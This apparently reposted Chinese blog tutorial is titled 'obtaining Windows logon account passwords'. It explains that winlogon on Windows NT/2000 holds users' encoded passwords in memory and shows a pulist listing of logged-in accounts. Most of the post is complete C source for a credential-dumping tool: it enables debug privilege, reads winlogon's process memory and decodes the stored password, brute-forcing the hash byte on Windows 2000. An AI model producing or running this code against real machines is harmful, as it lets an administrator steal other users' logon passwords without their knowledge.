VisualC++信息安全编程(5)获取windows登陆账户密码

来源:互联网 发布:穿衣搭配的软件 编辑:程序博客网 时间:2024/05/17 22:14

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。

因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。

其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。

1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。

example:

C:\Documents and Settings\bingle>pulist
Process           PID  User
Idle              0
System            8
smss.exe          164  NT AUTHORITY\SYSTEM
csrss.exe         192  NT AUTHORITY\SYSTEM
winlogon.exe      188  NT AUTHORITY\SYSTEM
wins.exe          1212 NT AUTHORITY\SYSTEM
Explorer.exe      388  TEST-2KSERVER\Administrator
internat.exe      1828 TEST-2KSERVER\Administrator
conime.exe        1868 TEST-2KSERVER\Administrator
msiexec.exe       1904 NT AUTHORITY\SYSTEM
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM
taskmgr.exe       1752 TEST-2KSERVER\Administrator
csrss.exe         2056 NT AUTHORITY\SYSTEM
winlogon.exe      2416 NT AUTHORITY\SYSTEM
rdpclip.exe       2448 TEST-2KSERVER\clovea
Explorer.exe      2408 TEST-2KSERVER\clovea
internat.exe      1480 TEST-2KSERVER\clovea
cmd.exe           2508 TEST-2KSERVER\Administrator
ntshell.exe       368  TEST-2KSERVER\Administrator
ntshell.exe       1548 TEST-2KSERVER\Administrator
ntshell.exe       1504 TEST-2KSERVER\Administrator
csrss.exe         1088 NT AUTHORITY\SYSTEM
winlogon.exe      1876 NT AUTHORITY\SYSTEM
rdpclip.exe       1680 TEST-2KSERVER\bingle
Explorer.exe      2244 TEST-2KSERVER\bingle
conime.exe        2288 TEST-2KSERVER\bingle
internat.exe      1592 TEST-2KSERVER\bingle
cmd.exe           1692 TEST-2KSERVER\bingle
mdm.exe           2476 TEST-2KSERVER\bingle
taskmgr.exe       752  TEST-2KSERVER\bingle
pulist.exe        2532 TEST-2KSERVER\bingle

 

 

 

具体实现代码如下

 

 

#include <windows.h> #include <tchar.h> #include <stdio.h> #include <stdlib.h> typedef struct _UNICODE_STRING {     USHORT Length;     USHORT MaximumLength;     PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION {     DWORD GrantedAccess;     DWORD PID;     WORD HandleType;     WORD HandleId;     DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER {     DWORD Count;     DWORD Unk04;     DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO {     DWORD LoadAddress;     DWORD Size;     DWORD Unk08;     DWORD Enumerator;     DWORD Unk10;     char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO {     DWORD HashByte;     DWORD Unk04;     DWORD Unk08;     DWORD Unk0C;     FILETIME LoggedOn;     DWORD Unk18;     DWORD Unk1C;     DWORD Unk20;     DWORD Unk24;     DWORD Unk28;     UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0;wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) {     printf( "\n\t To Find Password in the Winlogon process\n" );printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] );     if ((!IsWinNT ())             &&         (!IsWin2K ()))     {         printf ("Windows NT or Windows 2000 are required.\n");         return (0);     }     // Add debug privilege to PasswordReminder -     // this is needed for the search for Winlogon.     // 增加PasswordReminder的权限     // 使得PasswordReminder可以打开并调试Winlogon进程     if (!AddDebugPrivilege ())     {         printf             ("Unable to add debug privilege.\n");         return (0);     }     printf ("The debug privilege has been added to PasswordReminder.\n");     // 获得几个未公开API的入口地址     HINSTANCE hNtDll =         LoadLibrary             ("NTDLL.DLL");     pfnNtQuerySystemInformation =         (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress             (hNtDll,             "NtQuerySystemInformation");     pfnRtlCreateQueryDebugBuffer =         (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress             (hNtDll,             "RtlCreateQueryDebugBuffer");     pfnRtlQueryProcessDebugInformation =         (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress             (hNtDll,             "RtlQueryProcessDebugInformation");     pfnRtlDestroyQueryDebugBuffer =         (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress             (hNtDll,             "RtlDestroyQueryDebugBuffer");     pfnRtlRunDecodeUnicodeString =         (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress             (hNtDll,             "RtlRunDecodeUnicodeString");     // Locate WinLogon's PID - need debug privilege and admin rights.     // 获得Winlogon进程的PID     // 这里作者使用了几个Native API,其实使用PSAPI一样可以     DWORD WinLogonPID =         argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;     if (WinLogonPID == 0)     {         printf             ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");         printf             ("PasswordReminder is unable to find the password in memory.\n");         FreeLibrary (hNtDll);         return (0);     } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID);     // Set values to check memory block against.     // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ){mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );}else{GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); }printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );    // Locate the block of memory containing     // the password in WinLogon's memory space.     // 在Winlogon进程中定位包含Password的内存块     BOOL FoundPasswordPage = FALSE;     if (IsWin2K ())         FoundPasswordPage =             LocatePasswordPageWin2K                 (WinLogonPID,                 &PasswordLength);     else         FoundPasswordPage =             LocatePasswordPageWinNT                 (WinLogonPID,                 &PasswordLength);     if (FoundPasswordPage)     {         if (PasswordLength == 0)         {             printf                 ("The logon information is: %S/%S.\n",                 UserDomain,                 UserName);             printf                 ("There is no password.\n");         }         else         {             printf                 ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",                 RealPasswordP,                 PasswordLength);             // Decode the password string.             if (IsWin2K ())                 DisplayPasswordWin2K ();             else                 DisplayPasswordWinNT ();         }     }     else         printf             ("PasswordReminder is unable to find the password in memory.\n");     FreeLibrary         (hNtDll);     return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL     IsWinNT         (void) {     OSVERSIONINFO OSVersionInfo;     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);     if (GetVersionEx             (&OSVersionInfo))         return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);     else         return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL     IsWin2K         (void) {     OSVERSIONINFO OSVersionInfo;     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);     if (GetVersionEx             (&OSVersionInfo))         return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)                     &&                 (OSVersionInfo.dwMajorVersion == 5));     else         return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL     AddDebugPrivilege         (void) {     HANDLE Token;     TOKEN_PRIVILEGES TokenPrivileges, PreviousState;     DWORD ReturnLength = 0;     if (OpenProcessToken             (GetCurrentProcess (),             TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,             &Token))         if (LookupPrivilegeValue                 (NULL,                 "SeDebugPrivilege",                 &TokenPrivileges.Privileges[0].Luid))         {             TokenPrivileges.PrivilegeCount = 1;             TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;             return                 (AdjustTokenPrivileges                     (Token,                     FALSE,                     &TokenPrivileges,                     sizeof (TOKEN_PRIVILEGES),                     &PreviousState,                     &ReturnLength));         }     return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者使用的是Native API,因此不需要PSAPI的支持 // DWORD     FindWinLogon         (void) { #define INITIAL_ALLOCATION 0x100     DWORD rc = 0;     DWORD SizeNeeded = 0;     PVOID InfoP =         HeapAlloc             (GetProcessHeap (),             HEAP_ZERO_MEMORY,             INITIAL_ALLOCATION);     // Find how much memory is required.     pfnNtQuerySystemInformation         (0x10,         InfoP,         INITIAL_ALLOCATION,         &SizeNeeded);     HeapFree         (GetProcessHeap (),         0,         InfoP);     // Now, allocate the proper amount of memory.     InfoP =         HeapAlloc             (GetProcessHeap (),             HEAP_ZERO_MEMORY,             SizeNeeded);     DWORD SizeWritten = SizeNeeded;     if (pfnNtQuerySystemInformation             (0x10,             InfoP,             SizeNeeded,             &SizeWritten))     {         HeapFree             (GetProcessHeap (),             0,             InfoP);         return (0);     }     DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);     if (NumHandles == 0)     {         HeapFree             (GetProcessHeap (),             0,             InfoP);         return (0);     }     PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =         (PQUERY_SYSTEM_INFORMATION) InfoP;     DWORD i;     for (i = 1; i <= NumHandles; i++)     {         // "5" is the value of a kernel object type process.         if (QuerySystemInformationP->HandleType == 5)         {             PVOID DebugBufferP =                 pfnRtlCreateQueryDebugBuffer                     (0,                     0);             if (pfnRtlQueryProcessDebugInformation                     (QuerySystemInformationP->PID,                     1,                     DebugBufferP) == 0)             {                 PPROCESS_INFO_HEADER ProcessInfoHeaderP =                     (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);                 DWORD Count =                     ProcessInfoHeaderP->Count;                 PPROCESS_INFO ProcessInfoP =                     (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));                 if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)                 {                     DWORD i;                     DWORD dw = (DWORD) ProcessInfoP;                     for (i = 0; i < Count; i++)                     {                         dw += sizeof (PROCESS_INFO);                         ProcessInfoP = (PPROCESS_INFO) dw;                         if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)                             return (0);                         if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)                             rc =                                 QuerySystemInformationP->PID;                     }                     if (DebugBufferP)                         pfnRtlDestroyQueryDebugBuffer                             (DebugBufferP);                     HeapFree                         (GetProcessHeap (),                         0,                         InfoP);                     return (rc);                 }             }             if (DebugBufferP)                 pfnRtlDestroyQueryDebugBuffer                     (DebugBufferP);         }         DWORD dw = (DWORD) QuerySystemInformationP;         dw += sizeof (QUERY_SYSTEM_INFORMATION);         QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;     }     HeapFree         (GetProcessHeap (),         0,         InfoP);     return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT中找到用户密码 // BOOL     LocatePasswordPageWinNT         (DWORD WinLogonPID,         PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT    0x200 #define USER_PASSWORD_OFFSET_WINNT    0x400     BOOL rc = FALSE;     HANDLE WinLogonHandle =         OpenProcess             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,             FALSE,             WinLogonPID);     if (WinLogonHandle == 0)         return (rc);     *PasswordLength = 0;     SYSTEM_INFO SystemInfo;     GetSystemInfo         (&SystemInfo);     DWORD PEB = 0x7ffdf000;     DWORD BytesCopied = 0;     PVOID PEBP =         HeapAlloc             (GetProcessHeap (),             HEAP_ZERO_MEMORY,             SystemInfo.dwPageSize);     if (!ReadProcessMemory             (WinLogonHandle,             (PVOID) PEB,             PEBP,             SystemInfo.dwPageSize,             &BytesCopied))     {         CloseHandle             (WinLogonHandle);         return (rc);     }     // Grab the value of the 2nd DWORD in the TEB.     PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));     MEMORY_BASIC_INFORMATION MemoryBasicInformation;     if (VirtualQueryEx             (WinLogonHandle,             (PVOID) *WinLogonHeap,             &MemoryBasicInformation,             sizeof (MEMORY_BASIC_INFORMATION)))         if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)                 &&             ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))         {             PVOID WinLogonMemP =                 HeapAlloc                     (GetProcessHeap (),                     HEAP_ZERO_MEMORY,                     MemoryBasicInformation.RegionSize);             if (ReadProcessMemory                     (WinLogonHandle,                     (PVOID) *WinLogonHeap,                     WinLogonMemP,                     MemoryBasicInformation.RegionSize,                     &BytesCopied))             {                 DWORD i = (DWORD) WinLogonMemP;                 DWORD UserNamePos = 0;                 // The order in memory is UserName followed by the UserDomain.                 // 在内存中搜索UserName和UserDomain字符串                 do                 {                     if ((wcsicmp (UserName, (wchar_t *) i) == 0)                             &&                         (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))                     {                         UserNamePos = i;                         break;                     }                     i += 2;                 } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);                 if (UserNamePos)                 {                     PENCODED_PASSWORD_INFO EncodedPasswordInfoP =                         (PENCODED_PASSWORD_INFO)                             ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);                     FILETIME LocalFileTime;                     SYSTEMTIME SystemTime;                     if (FileTimeToLocalFileTime                         (&EncodedPasswordInfoP->LoggedOn,                         &LocalFileTime))                         if (FileTimeToSystemTime                             (&LocalFileTime,                             &SystemTime))                             printf                                 ("You logged on at %d/%d/%d %d:%d:%d\n",                                 SystemTime.wMonth,                                 SystemTime.wDay,                                 SystemTime.wYear,                                 SystemTime.wHour,                                 SystemTime.wMinute,                                 SystemTime.wSecond);                     *PasswordLength =                         (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);                     // NT就是好,hash-byte直接放在编码中:)                     HashByte =                         (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;                     RealPasswordP =                         (PVOID) (*WinLogonHeap +                             (UserNamePos - (DWORD) WinLogonMemP) +                             USER_PASSWORD_OFFSET_WINNT + 0x34);                     PasswordP =                         (PVOID) ((PBYTE) (UserNamePos +                               USER_PASSWORD_OFFSET_WINNT + 0x34));                     rc = TRUE;                 }             }         }     HeapFree         (GetProcessHeap (),         0,         PEBP);     CloseHandle         (WinLogonHandle);     return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码 // BOOL     LocatePasswordPageWin2K         (DWORD WinLogonPID,         PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K    0x400 #define USER_PASSWORD_OFFSET_WIN2K    0x800     HANDLE WinLogonHandle =         OpenProcess             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,             FALSE,             WinLogonPID);     if (WinLogonHandle == 0)         return (FALSE);     *PasswordLength = 0;     SYSTEM_INFO SystemInfo;     GetSystemInfo         (&SystemInfo);     DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;     DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;     DWORD Increment = SystemInfo.dwPageSize;     MEMORY_BASIC_INFORMATION MemoryBasicInformation;     while (i < MaxMemory)     {         if (VirtualQueryEx                 (WinLogonHandle,                 (PVOID) i,                 &MemoryBasicInformation,                 sizeof (MEMORY_BASIC_INFORMATION)))         {             Increment = MemoryBasicInformation.RegionSize;             if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)                     &&                 ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))             {                 PVOID RealStartingAddressP =                     HeapAlloc                         (GetProcessHeap (),                         HEAP_ZERO_MEMORY,                         MemoryBasicInformation.RegionSize);                 DWORD BytesCopied = 0;                 if (ReadProcessMemory                         (WinLogonHandle,                         (PVOID) i,                         RealStartingAddressP,                         MemoryBasicInformation.RegionSize,                         &BytesCopied))                 {                     // 在WinLogon的内存空间中寻找UserName和DomainName的字符串                     if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)                             &&                         (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))                     {                         RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);                         PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);                         // Calculate the length of encoded unicode string.                         // 计算出密文的长度                         PBYTE p = (PBYTE) PasswordP;                         DWORD Loc = (DWORD) p;                         DWORD Len = 0;                         if ((*p == 0)                                 &&                             (* (PBYTE) ((DWORD) p + 1) == 0))                             ;                         else                             do                             {                                 Len++;                                 Loc += 2;                                 p = (PBYTE) Loc;                             } while                                 (*p != 0);                         *PasswordLength = Len;                         CloseHandle                             (WinLogonHandle);                         return (TRUE);                     }                 }                 HeapFree                     (GetProcessHeap (),                     0,                     RealStartingAddressP);             }         }         else             Increment = SystemInfo.dwPageSize;         // Move to next memory block.         i += Increment;     }     CloseHandle         (WinLogonHandle);     return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void     DisplayPasswordWinNT         (void) {     UNICODE_STRING EncodedString;     EncodedString.Length =         (WORD) PasswordLength * sizeof (wchar_t);     EncodedString.MaximumLength =         ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);     EncodedString.Buffer =         (PWSTR) HeapAlloc             (GetProcessHeap (),             HEAP_ZERO_MEMORY,             EncodedString.MaximumLength);     CopyMemory         (EncodedString.Buffer,         PasswordP,         PasswordLength * sizeof (wchar_t));     // Finally - decode the password.     // Note that only one call is required since the hash-byte     // was part of the orginally encoded string.     // 在NT中,hash-byte是包含在编码中的     // 因此只需要直接调用函数解码就可以了     pfnRtlRunDecodeUnicodeString         ((BYTE) HashByte,         &EncodedString);     printf         ("The logon information is: %S/%S/%S.\n",         UserDomain,         UserName,         EncodedString.Buffer);     printf         ("The hash byte is: 0x%2.2x.\n",         HashByte);     HeapFree         (GetProcessHeap (),         0,         EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void     DisplayPasswordWin2K         (void) {     DWORD i, Hash = 0;     UNICODE_STRING EncodedString;     EncodedString.Length =         (USHORT) PasswordLength * sizeof (wchar_t);     EncodedString.MaximumLength =         ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);     EncodedString.Buffer =         (PWSTR) HeapAlloc             (GetProcessHeap (),             HEAP_ZERO_MEMORY,             EncodedString.MaximumLength);     // This is a brute force technique since the hash-byte     // is not stored as part of the encoded string - :>(.     // 因为在Win2K中hash-byte并不存放在编码中     // 所以在这里进行的是暴力破解     // 下面的循环中i就是hash-byte     // 我们将i从0x00到0xff分别对密文进行解密     // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的     // 这个算法实际上是从概率角度来解码的     // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小     for (i = 0; i <= 0xff; i++)     {         CopyMemory             (EncodedString.Buffer,             PasswordP,             PasswordLength * sizeof (wchar_t));         // Finally - try to decode the password.         // 使用i作为hash-byte对密文进行解码         pfnRtlRunDecodeUnicodeString             ((BYTE) i,             &EncodedString);         // Check for a viewable password.         // 检查解码出的密码是否完全由可见字符组成         // 如果是则认为是正确的解码         PBYTE p = (PBYTE) EncodedString.Buffer;         BOOL Viewable = TRUE;         DWORD j, k;         for (j = 0; (j < PasswordLength) && Viewable; j++)         {             if ((*p)                     &&                 (* (PBYTE)(DWORD (p) + 1) == 0))             {                 if (*p < 0x20)                     Viewable = FALSE;                 if (*p > 0x7e)                     Viewable = FALSE;                 //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了             }             else                 Viewable = FALSE;             k = DWORD (p);             k++; k++;             p = (PBYTE) k;         }         if (Viewable)         {             printf                 ("The logon information is: %S/%S/%S.\n",                 UserDomain,                 UserName,                 EncodedString.Buffer);             printf                 ("The hash byte is: 0x%2.2x.\n",                 i);         }     }     HeapFree         (GetProcessHeap (),         0,         EncodedString.Buffer); }


 

原创粉丝点击